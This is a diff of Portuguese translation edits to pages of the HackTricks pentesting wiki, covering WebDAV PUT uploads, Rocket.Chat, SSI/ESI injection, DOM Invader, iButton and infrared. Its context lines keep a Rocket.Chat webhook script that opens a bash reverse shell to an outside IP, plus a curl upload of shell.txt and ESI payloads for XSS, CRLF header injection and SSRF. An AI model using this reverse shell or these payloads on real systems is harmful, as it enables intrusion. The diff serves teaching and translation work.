-Os métodos de autenticação baseados em **senha** são **md5**, **crypt** e **password**. Esses métodos operam de maneira semelhante, exceto pela forma como a senha é enviada pela conexão: respectivamente, hash MD5, criptografia crypt e texto claro. Uma limitação é que o método crypt não funciona com senhas que foram criptografadas em pg\_authid.
+Os métodos de autenticação **baseados em senha** são **md5**, **crypt** e **password**. Esses métodos operam de maneira semelhante, exceto pela forma como a senha é enviada pela conexão: respectivamente, hash MD5, criptografia crypt e texto claro. Uma limitação é que o método crypt não funciona com senhas que foram criptografadas em pg\_authid.
 
 <details>
 
 <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
-* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
 * Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
 * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

network-services-pentesting/pentesting-web/put-method-webdav.md

@@ -31,14 +31,14 @@ Outra configuração comum é **proibir o upload** de arquivos com **extensões*
 
 ## DavTest
 
-**Davtest** tenta **carregar vários arquivos com diferentes extensões** e **verifica** se a extensão é **executada**:
+**Davtest** tenta **carregar vários arquivos com diferentes extensões** e **verificar** se a extensão é **executada**:
 ```bash
 davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
 davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension
 ```
 Saída de exemplo:
 
-![](<../../.gitbook/assets/image (19) (1) (1).png>)
+![](<../../.gitbook/assets/image (19) (1).png>)
 
 Isso não significa que as extensões **.txt** e **.html estão sendo executadas**. Isso significa que você pode **acessar esses arquivos** pela web.
 
@@ -64,31 +64,31 @@ O método HTTP PUT é usado para atualizar um recurso em um servidor. No context
 
 ### Vulnerability
 
-The PUT method can be vulnerable to attacks if the server does not properly validate the input data. An attacker can use the PUT method to upload a malicious file to the server or overwrite an existing file with malicious content. This can lead to a compromise of the server or the web application.
+The PUT method can be vulnerable to attacks if the server does not properly validate the input data. An attacker can use the PUT method to upload a malicious file to the server, overwrite an existing file, or modify the content of an existing file. This can lead to a variety of attacks, including remote code execution, file inclusion, and data leakage.
 
 ### Vulnerabilidade
 
-O método PUT pode ser vulnerável a ataques se o servidor não validar corretamente os dados de entrada. Um atacante pode usar o método PUT para fazer upload de um arquivo malicioso para o servidor ou sobrescrever um arquivo existente com conteúdo malicioso. Isso pode levar a uma comprometimento do servidor ou da aplicação web.
+O método PUT pode ser vulnerável a ataques se o servidor não validar corretamente os dados de entrada. Um atacante pode usar o método PUT para fazer upload de um arquivo malicioso para o servidor, sobrescrever um arquivo existente ou modificar o conteúdo de um arquivo existente. Isso pode levar a uma variedade de ataques, incluindo execução remota de código, inclusão de arquivo e vazamento de dados. 
 
 ---
 
 ### Exploitation
 
-To exploit this vulnerability, an attacker can use a tool like cURL to send a PUT request to the server with a malicious file as the payload. The attacker can also use a web application that allows file uploads to upload a malicious file using the PUT method.
+To exploit this vulnerability, an attacker can use a web client or a command-line tool to send a PUT request to the server. The request should include the file to be uploaded and the location where the file should be stored on the server. If the server does not properly validate the input data, the file will be uploaded to the server and can be accessed by the attacker.
 
 ### Exploração
 
-Para explorar essa vulnerabilidade, um atacante pode usar uma ferramenta como o cURL para enviar uma requisição PUT para o servidor com um arquivo malicioso como carga útil. O atacante também pode usar uma aplicação web que permita o upload de arquivos para fazer o upload de um arquivo malicioso usando o método PUT. 
+Para explorar essa vulnerabilidade, um atacante pode usar um cliente web ou uma ferramenta de linha de comando para enviar uma requisição PUT para o servidor. A requisição deve incluir o arquivo a ser enviado e o local onde o arquivo deve ser armazenado no servidor. Se o servidor não validar corretamente os dados de entrada, o arquivo será enviado para o servidor e pode ser acessado pelo atacante. 
 
 ---
 
 ### Mitigation
 
-To mitigate this vulnerability, the server should properly validate the input data and only allow authorized users to perform PUT requests. The server should also limit the size of uploaded files and restrict the types of files that can be uploaded.
+To mitigate this vulnerability, the server should properly validate the input data and restrict access to sensitive files. The server should also use access controls to limit the actions that can be performed by users and applications. Additionally, the server should log all PUT requests and monitor for any suspicious activity.
 
 ### Mitigação
 
-Para mitigar essa vulnerabilidade, o servidor deve validar corretamente os dados de entrada e permitir apenas que usuários autorizados realizem requisições PUT. O servidor também deve limitar o tamanho dos arquivos enviados e restringir os tipos de arquivos que podem ser enviados.
+Para mitigar essa vulnerabilidade, o servidor deve validar corretamente os dados de entrada e restringir o acesso a arquivos sensíveis. O servidor também deve usar controles de acesso para limitar as ações que podem ser realizadas por usuários e aplicativos. Além disso, o servidor deve registrar todas as requisições PUT e monitorar qualquer atividade suspeita.
 ```
 curl -T 'shell.txt' 'http://$ip'
 ```

network-services-pentesting/pentesting-web/rocket-chat.md

@@ -13,26 +13,26 @@ const require = console.log.constructor('return process.mainModule.require')();
 const { exec } = require('child_process');
 exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
 ```
-* Configure o WebHook (o canal e o nome de usuário para postar devem existir):
+* Configure o WebHook (o canal e o nome de usuário da postagem devem existir):
 
 <figure><img src="../../.gitbook/assets/image (1) (8).png" alt=""><figcaption></figcaption></figure>
 
 * Configure o script do WebHook:
 
-<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (2) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
 
 * Salve as alterações
 * Obtenha a URL do WebHook gerado:
 
-<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
-* Chame-o com o curl e você deve receber o rev shell
+* Chame-o com curl e você deve receber o rev shell
 
 <details>
 
 <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
-* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
 * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md

@@ -1,7 +1,6 @@
 ## Informações Básicas sobre Inclusão do Lado do Servidor
 
-SSI (Server Side Includes) são diretivas que são **colocadas em páginas HTML e avaliadas no servidor** enquanto as páginas estão sendo servidas. Elas permitem que você **adicione conteúdo gerado dinamicamente** a uma página HTML existente, sem ter que servir a página inteira por meio de um programa CGI ou outra tecnologia dinâmica. 
-
+SSI (Server Side Includes) são diretivas que são **colocadas em páginas HTML e avaliadas no servidor** enquanto as páginas estão sendo servidas. Elas permitem que você **adicione conteúdo gerado dinamicamente** a uma página HTML existente, sem ter que servir a página inteira por meio de um programa CGI ou outra tecnologia dinâmica.\
 Por exemplo, você pode colocar uma diretiva em uma página HTML existente, como:
 
 `<!--#echo var="DATE_LOCAL" -->`
@@ -10,9 +9,9 @@ E, quando a página é servida, este fragmento será avaliado e substituído por
 
 `Terça-feira, 15-Jan-2013 19:28:54 EST`
 
-A decisão de quando usar SSI e quando ter sua página inteiramente gerada por algum programa é geralmente uma questão de quanto da página é estática e quanto precisa ser recalculado toda vez que a página é servida. SSI é uma ótima maneira de adicionar pequenos pedaços de informação, como a hora atual - mostrada acima. Mas se a maioria da sua página está sendo gerada no momento em que é servida, você precisa procurar outra solução. (Definição retirada daqui).
+A decisão de quando usar SSI e quando ter sua página inteiramente gerada por algum programa é geralmente uma questão de quanto da página é estática e quanto precisa ser recalculado toda vez que a página é servida. SSI é uma ótima maneira de adicionar pequenos pedaços de informação, como a hora atual - mostrada acima. Mas se a maioria da sua página está sendo gerada no momento em que é servida, você precisa procurar outra solução. (Definição retirada daqui (https://httpd.apache.org/docs/current/howto/ssi.html)).
 
-Você pode inferir a presença de SSI se a aplicação web usa arquivos com as extensões \*\* `.shtml`, `.shtm` ou `.stm`\*\*, mas não é apenas esse o caso.
+Você pode inferir a presença de SSI se a aplicação web usa arquivos com as extensões \*\* `.shtml`, `.shtm` ou `.stm`\*\*, mas não é apenas o caso.
 
 Uma expressão SSI típica tem o seguinte formato:
 ```
@@ -51,8 +50,8 @@ Uma expressão SSI típica tem o seguinte formato:
 ```
 ## Inclusão do Lado do Servidor
 
-Existe um problema ao **armazenar informações ou aplicativos dinâmicos** como parte do conteúdo pode ter **variações** para a próxima vez que o conteúdo for recuperado. É para isso que o **ESI** é usado, para indicar usando tags ESI o **conteúdo dinâmico que precisa ser gerado** antes de enviar a versão em cache.\
-Se um **atacante** for capaz de **injetar uma tag ESI** dentro do conteúdo em cache, então ele poderia ser capaz de **injetar conteúdo arbitrário** no documento antes que seja enviado aos usuários.
+Existe um problema ao **armazenar em cache informações ou aplicativos dinâmicos** pois parte do conteúdo pode ter **variações** para a próxima vez que o conteúdo for recuperado. É para isso que o **ESI** é usado, para indicar usando tags ESI o **conteúdo dinâmico que precisa ser gerado** antes de enviar a versão em cache.\
+Se um **atacante** for capaz de **injetar uma tag ESI** dentro do conteúdo em cache, então ele pode ser capaz de **injetar conteúdo arbitrário** no documento antes que seja enviado aos usuários.
 
 ### Detecção de ESI
 
@@ -89,7 +88,7 @@ hell<!--esi-->o
 * **Includes**: Suporta a diretiva `<esi:includes>`
 * **Vars**: Suporta a diretiva `<esi:vars>`. Útil para contornar filtros XSS
 * **Cookie**: Os cookies do documento são acessíveis ao mecanismo ESI
-* **Upstream Headers Required**: As aplicações de surrogado não processarão declarações ESI a menos que a aplicação upstream forneça os cabeçalhos
+* **Upstream Headers Required**: As aplicações de substituição não processarão declarações ESI a menos que a aplicação upstream forneça os cabeçalhos
 * **Host Allowlist**: Neste caso, as inclusões ESI só são possíveis a partir de hosts de servidor permitidos, tornando, por exemplo, SSRF possível apenas contra esses hosts
 
 |         **Software**         | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
@@ -145,7 +144,7 @@ Não confunda isso com "Inclusão de Arquivo Local":
 ```
 #### CRLF
 
-CRLF significa Carriage Return Line Feed. É uma sequência de caracteres usada para representar o final de uma linha de texto em um arquivo. O caractere CR (retorno de carro) move o cursor para o início da linha e o caractere LF (avanço de linha) move o cursor para a próxima linha. Em algumas linguagens de programação, como PHP, o uso incorreto de CRLF pode levar a vulnerabilidades de injeção de código.
+CRLF significa Carriage Return Line Feed. É uma sequência de caracteres usada para representar o final de uma linha de texto em um arquivo. Em sistemas Windows, CRLF é usado para indicar uma nova linha, enquanto em sistemas Unix, apenas LF é usado. O CRLF é importante em ataques de Injeção de SSI/ESI, pois pode ser usado para injetar cabeçalhos HTTP maliciosos e, assim, realizar ataques de phishing ou redirecionamento de página.
 ```markup
 <esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
 ```
@@ -157,7 +156,7 @@ O seguinte adicionará um cabeçalho `Location` à resposta.
 ```
 #### Adicionar Cabeçalho
 
-* Adicionar cabeçalho em uma requisição forçada
+* Adicionar cabeçalho em requisição forçada
 ```html
 <esi:include src="http://example.com/asdasd">
 <esi:request_header name="User-Agent" value="12345"/>
@@ -169,7 +168,7 @@ O seguinte adicionará um cabeçalho `Location` à resposta.
 
 <!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->
 ```
-<figure><img src="../.gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (5) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
 
 #### CRLF em Adicionar cabeçalho (**CVE-2019-2438)**
 ```markup
@@ -186,7 +185,7 @@ Isso enviará informações de depuração incluídas na resposta:
 ```
 ### ESI + XSLT = XXE
 
-Também é possível adicionar includes ESI baseados em **Transformações de Linguagem de Folha de Estilo Extensível (XSLT)** ao especificar o valor `xslt` para o parâmetro _dca_. O seguinte include fará com que o HTTP surrogate solicite o arquivo XML e XSLT. O arquivo XSLT é então usado para filtrar o arquivo XML. Este arquivo XML pode ser usado para realizar ataques de _XML External Entity (XXE)_. Isso permite que os atacantes realizem ataques SSRF, o que não é muito útil, uma vez que isso deve ser feito por meio de includes ESI, que é um vetor SSRF em si. DTDs externos não são analisados, uma vez que a biblioteca subjacente (Xalan) não tem suporte para isso. Isso significa que não podemos extrair arquivos locais.
+Também é possível adicionar includes ESI baseados em **\_**eXtensible Stylesheet Language Transformations (XSLT)**\_** adicionando o valor `xslt` ao parâmetro _dca_. O seguinte include fará com que o HTTP surrogate solicite o arquivo XML e XSLT. O arquivo XSLT é então usado para filtrar o arquivo XML. Este arquivo XML pode ser usado para realizar ataques _XML External Entity (XXE)_. Isso permite que os atacantes realizem ataques SSRF, o que não é muito útil, já que isso deve ser feito por meio de includes ESI, que é um vetor SSRF em si. DTDs externos não são analisados, pois a biblioteca subjacente (Xalan) não tem suporte para isso. Isso significa que não podemos extrair arquivos locais.
 ```markup
 <esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
 ```
@@ -221,6 +220,6 @@ Verifique a página XSLT:
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
 * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

pentesting-web/xss-cross-site-scripting/dom-invader.md

@@ -1,51 +1,51 @@
-# DOM Invader
+# Invador DOM
 
 <details>
 
 <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
-* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
 * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-## DOM Invader
+## Invador DOM
 
-O DOM Invader é uma ferramenta do navegador instalada no navegador integrado do Burp. Ele ajuda a **detectar vulnerabilidades de XSS DOM** usando várias fontes e sinks, incluindo mensagens da web e poluição de protótipos. A ferramenta é pré-instalada como uma extensão.
+O Invador DOM é uma ferramenta do navegador instalada no navegador integrado do Burp. Ele ajuda a **detectar vulnerabilidades de XSS DOM** usando várias fontes e sinks, incluindo mensagens da web e poluição de protótipos. A ferramenta é pré-instalada como uma extensão.
 
-O DOM Invader integra uma guia dentro do painel DevTools do navegador, permitindo o seguinte:
+O Invador DOM integra uma guia dentro do painel DevTools do navegador, permitindo o seguinte:
 
 1. **Identificação de sinks controláveis** em uma página da web para teste de XSS DOM, fornecendo contexto e detalhes de sanitização.
-2. **Registro, edição e reenvio de mensagens da web** enviadas via método `postMessage()` para teste de XSS DOM. O DOM Invader também pode detectar automaticamente vulnerabilidades usando mensagens da web especialmente criadas.
+2. **Registro, edição e reenvio de mensagens da web** enviadas via método `postMessage()` para teste de XSS DOM. O Invador DOM também pode detectar automaticamente vulnerabilidades usando mensagens da web especialmente criadas.
 3. Detecção de **fontes de poluição de protótipos do lado do cliente** e varredura de gadgets controláveis enviados para sinks arriscados.
-4. Identificação de **vulnerabilidades de clobbering do DOM**.
+4. Identificação de **vulnerabilidades de clobbering DOM**.
 
 ### Habilitar
 
 No navegador integrado do Burp, vá para a **extensão Burp** e habilite-a:
 
-<figure><img src="../../.gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
-Agora atualize a página e na **Dev Tools** você encontrará a **guia DOM Invader:**
+Agora atualize a página e na **Dev Tools** você encontrará a **guia Invador DOM:**
 
-<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
 
-### Injetar um Canary
+### Injetar um canário
 
-Na imagem anterior, você pode ver um **grupo aleatório de caracteres, que é o Canary**. Agora você deve começar a **injetá-lo** em diferentes partes da web (parâmetros, formulários, URL...) e clicar em pesquisar cada vez. O DOM Invader verificará se o **canary terminou em algum sink interessante** que possa ser explorado.
+Na imagem anterior, você pode ver um **grupo aleatório de caracteres, que é o canário**. Agora você deve começar a **injetá-lo** em diferentes partes da web (parâmetros, formulários, URL...) e clicar em pesquisar cada vez. O Invador DOM verificará se o **canário terminou em algum sink interessante** que possa ser explorado.
 
-Além disso, as opções **Injetar parâmetros de URL** e Injetar formulários abrirão automaticamente uma **nova guia** **injetando** o **canary** em todos os **parâmetros de URL** e **formulários** que encontrar.
+Além disso, as opções **Injetar parâmetros de URL** e Injetar formulários abrirão automaticamente uma **nova guia** **injetando** o **canário** em todos os **parâmetros de URL** e **formulários** que encontrar.
 
-### Injetar um Canary vazio
+### Injetar um canário vazio
 
-Se você apenas deseja encontrar sinks potenciais que a página possa ter, mesmo que não sejam exploráveis, você pode **procurar por um canary vazio**.
+Se você quiser apenas encontrar sinks potenciais que a página possa ter, mesmo que não sejam exploráveis, você pode **procurar por um canário vazio**.
 
-### Mensagens da Web
+### Mensagens da web
 
-O DOM Invader permite testar o XSS DOM usando mensagens da web com recursos como:
+O Invador DOM permite testar o XSS DOM usando mensagens da web com recursos como:
 
 1. **Registro de mensagens da web** enviadas via `postMessage()`, semelhante ao registro de histórico de solicitação/resposta HTTP do Burp Proxy.
 2. **Modificação** e **reenvio** de mensagens da web para testar manualmente o XSS DOM, semelhante à função do Burp Repeater.
@@ -65,11 +65,11 @@ Você pode clicar em cada mensagem para ver informações mais detalhadas sobre
 2. Edite o campo **Dados** conforme necessário.
 3. Clique em **Enviar**.
 
-### Poluição de Protótipos
+### Poluição de protótipos
 
-O DOM Invader também pode procurar por **vulnerabilidades de Poluição de Protótipos**. Primeiro, você precisa habilitá-lo:
+O Invador DOM também pode procurar por **vulnerabilidades de poluição de protótipos**. Primeiro, você precisa habilitá-lo:
 
-<figure><img src="../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
 
 Em seguida, ele **procurará por fontes** que permitam adicionar propriedades arbitrárias ao **`Object.prototype`**.
 

todo/radio-hacking/flipper-zero/fz-ibutton.md

@@ -24,11 +24,11 @@ Para obter mais informações sobre o que é um iButton, consulte:
 
 A parte **azul** da imagem a seguir é onde você precisa **colocar o iButton real** para que o Flipper possa **lê-lo**. A parte **verde** é onde você precisa **tocar o leitor** com o Flipper zero para **emular corretamente um iButton**.
 
-<figure><img src="../../../.gitbook/assets/image (20) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (20).png" alt=""><figcaption></figcaption></figure>
 
 ## Ações
 
-### Leitura
+### Ler
 
 No modo de leitura, o Flipper está esperando a chave iButton tocar e é capaz de digerir qualquer um dos três tipos de chaves: **Dallas, Cyfral e Metakom**. O Flipper **descobrirá o tipo de chave sozinho**. O nome do protocolo da chave será exibido na tela acima do número de ID.
 

todo/radio-hacking/ibutton.md

@@ -7,7 +7,7 @@
 * Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) **grupo do Discord** ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
 * **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
@@ -16,7 +16,7 @@
 
 iButton é um nome genérico para uma chave de identificação eletrônica embalada em um **recipiente de metal em forma de moeda**. Também é chamado de **Dallas Touch** Memory ou memória de contato. Embora muitas vezes seja erroneamente referido como uma chave "magnética", não há **nada magnético** nele. Na verdade, um microchip completo operando em um protocolo digital está escondido dentro.
 
-<figure><img src="../../.gitbook/assets/image (19) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (19).png" alt=""><figcaption></figcaption></figure>
 
 ### O que é iButton? <a href="#what-is-ibutton" id="what-is-ibutton"></a>
 
@@ -59,7 +59,7 @@ As chaves iButton podem ser atacadas com o Flipper Zero:
 * Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) **grupo do Discord** ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
 * **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

todo/radio-hacking/infrared.md

@@ -32,7 +32,7 @@ Os protocolos de infravermelho diferem em 3 fatores:
 
 Os bits são codificados pela modulação da duração do espaço entre os pulsos. A largura do próprio pulso é constante.
 
-<figure><img src="../../.gitbook/assets/image (16) (3).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (16).png" alt=""><figcaption></figcaption></figure>
 
 **2. Codificação de Largura de Pulso**
 
@@ -74,4 +74,4 @@ Para a lógica "0" e "1", a NEC usa a Codificação de Distância de Pulso: prim
 
 ### Condicionadores de Ar
 
-Ao contrário de outros controles remotos, **os condicionadores de ar não transmitem apenas o código do botão pressionado**. Eles também **transmitem todas as informações** quando um botão
+Ao contrário de outros controles remotos, **os condicionadores de ar não transmitem apenas o código do botão pressionado**. Eles também **transmitem todas as informações** quando um botão é pressionado para garant

windows-hardening/active-directory-methodology/ad-certificates.md

@@ -1,6 +1,6 @@
 # Certificados AD
 
-## Informação Básica
+## Informações Básicas
 
 ### Partes de um certificado
 
@@ -29,9 +29,9 @@ Por padrão, durante a autenticação baseada em certificado, o AD mapeia os cer
 
 ### CAs
 
-O AD CS define certificados de CA em quatro locais em que a floresta AD confia sob o contêiner `CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>`, cada um diferindo por seu propósito:
+AD CS define certificados de CA em quatro locais em que a floresta AD confia sob o contêiner `CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>`, cada um diferindo por seu propósito:
 
